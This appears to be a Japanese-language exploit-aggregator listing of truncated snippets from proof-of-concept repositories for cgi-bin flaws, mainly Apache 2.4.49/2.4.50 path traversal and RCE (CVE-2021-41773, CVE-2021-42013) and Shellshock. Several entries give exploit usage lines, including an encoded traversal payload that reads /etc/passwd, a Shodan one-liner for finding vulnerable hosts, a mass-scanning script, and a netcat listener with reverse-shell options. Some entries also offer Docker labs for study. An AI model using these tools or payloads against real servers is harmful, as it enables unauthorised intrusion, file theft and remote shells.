CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 のPOCを開発しました。RCE + cgi-bin パストラバーサルです。 注 : Apache2 2.4.49 でテスト済み 脆弱性のある Apache2 2.4.49 を Docker から直接プルできます root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cgid http://localhost:80...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Windows上のApache Tomcatでのリモートコード実行 cgi-bin 使用方法： root@kitploit: Usage: python CVE-2019-0232.py url cmd テスト環境： root@kitploit: jdk8 apache-tomcat-8.5.39...

ZeroShell <= 1.0beta11 Remote Code Execution

ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action. id: CVE-2009-0545 info: name: ZeroShell = 1.0beta11 Remote Code Execution author: geeknik severity: critica...

CVE-2021-41773

CVE-2021-41773 취약 서비스 설치 여러 옵션: 1. Docker 컨테이너 root@kitploit: docker run -d -p 8080:80 12345qwert123456/apache2449cve-2021-41773 2. Dockerfile root@kitploit: git clone https://github.com/12345qwert123456/CVE-2021-41773.git cd CVE-2021-41773-Vulnerable-service/2.4.49 docker build -t...

apache-cve-2021-41773-lab

Apache 2.4.49 パストラバーサルラボ — CVE-2021-41773 クローン root@kitploit: git clone https://github.com/zubairahm3d/apache-cve-2021-41773-lab.git cd apache-cve-2021-41773-lab chmod +x apachelab.sh 使い方 脆弱なサーバーを起動: root@kitploit: ./apachelab.sh choose option 1 手動エクスプロイト: root@kitploit: curl --path-as-is...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 CVE-2021-42013.py は、Apache 2.4.50 におけるパストラバーサルまたはリモートコード実行の脆弱性を見つけるための Python スクリプトです。CVE-2021-42013 の実践的な学習のために、脆弱な Docker インスタンスが提供されています。 CGI-BIN が有効な場合、リモートコード実行は可能ですが、パストラバーサルは不可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons"...

cve-2021-41773

Apache 2.4.49 - パストラバーサルまたはリモートコード実行 cve-2021-41773.py は、Apache 2.4.49 におけるパストラバーサルまたはリモートコード実行の脆弱性を発見するための Python スクリプトです。CVE-2021-41773 を実際に試すための脆弱な Docker インスタンスも提供されています。 CGI-BIN が有効な場合、パストラバーサルではなくリモートコード実行が可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons" ディレクトリが追加されています。...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Apache HTTPサーバのパストラバーサルゼロデイ脆弱性が悪用される Apache HTTP Server CVE-2021-41773 が実際に悪用される CVE-2021-42013: Apache HTTP Server 2.4.49および2.4.50におけるパストラバーサルとリモートコード実行（CVE-2021-41773の不完全な修正） Shodan ワンライナー root@kitploit: shodan search Apache Server 2.4.49 | awk 'print $1":"$2' |...

CVE-2021-41773

Docker セットアップ付き CVE-2021-41773 エクスプロイト PoC。 Apache 設定ファイルと Dockerfile リポジトリ内に同梱 が含まれるディレクトリへ移動します。 イメージのビルド: docker build -t cve-2021-41773:1.0 . Docker イメージの実行: docker run --rm -d -p 4444:80 cve-2021-41773:1.0 注: イメージ名の代わりにイメージ ID を使用することもできます。イメージの詳細はコマンド 'docker images' で確認してください サービスのテスト: cur...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 CVE-2021-42013.pyは、Apache 2.4.50におけるパストラバーサルまたはリモートコード実行の脆弱性の発見に役立つPythonスクリプトです。CVE-2021-42013を実践的に学ぶために、Dockerの脆弱性インスタンスが提供されています。 CGI-BINが有効な場合、リモートコード実行は可能ですがパストラバーサルはできません。そのため、パストラバーサルの脆弱性を確認するために、httpd.confのAliasセクションに"icons"ディレクトリが追加されています。...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 CVE-2021-42013.py は、Apache 2.4.50 のパストラバーサルまたはリモートコード実行の脆弱性を発見するのに役立つ Python スクリプトです。CVE-2021-42013 を実際に試すための脆弱な Docker インスタンスも提供されています。 CGI-BIN が有効な場合は、パストラバーサルではなくリモートコード実行が可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons" ディレクトリが追加されています。...

cve-2021-42013.get

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 cve-2021-42013.pyは、Apache 2.4.50 におけるパストラバーサルまたはリモートコード実行の脆弱性を検出するためのPythonスクリプトです。CVE-2021-42013 を実際に試すための脆弱なDockerインスタンスも提供されています。 CGI-BINが有効な場合、リモートコード実行は可能ですがパストラバーサルは実行できません。そのため、パストラバーサルの脆弱性を確認するために、httpd.confのAliasセクションに"icons"ディレクトリを追加しています。 httpd.conf...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 cve-2021-42013.py は、Apache 2.4.50 におけるパストラバーサルまたはリモートコード実行の脆弱性を発見するのに役立つ Python スクリプトです。CVE-2021-42013 を実際に試すための脆弱な Docker インスタンスが用意されています。 CGI-BIN が有効な場合は、パストラバーサルではなくリモートコード実行を実行できます。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons" ディレクトリが追加されています...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 および cve-2021-42013 cve-2021-41773 と cve-2021-42013 のバッチ検証用Pythonスクリプト 実行環境：python3 使い方：python3 poc.py url.txt url.txt に検証対象のURLを記述し、脆弱性が存在するURLは success.txt に書き込まれます。 検証内容はシンプルで、GETリクエストで cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd を送信します。しかし、requests...

CVE-2014-6271

CVE-2014-6271 python2.7 お使いのマシンでリッスンを開始します。 root@kitploit: nc -l -p 4444 以下のルールに従ってpythonスクリプトを実行します： python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 お楽しみください...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE 用のPython3スクリプトです。RCEにはcgi-binが有効である必要があります。 はじめに プログラムの実行 LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit: python3 apache2.4.50.py -t http://apache.hack/...

exploitApache

exploitApache CVE-2021-41773:Path Traversal cgi-bin 用のエクスプロイト...

cgi-bin-shellshock

使い方 リポジトリをクローンする（または好きな方をコピー＆ペースト） root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh スクリプトを実行する Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp 注：デフォルトのLPORTは4444、URLが必要です。URLのみ指定された場合はRCE、lhostとlportが指定された場合はRSHELLを実行します...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271 の POC ソース:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2026-94003

A vulnerability has been found in Comfast CF-N1-S 2.6.0.1. Impacted is the function getcsspathfromuri of the file /cgi-bin/mbox-config of the component Web Management Interface. The manipulation leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been...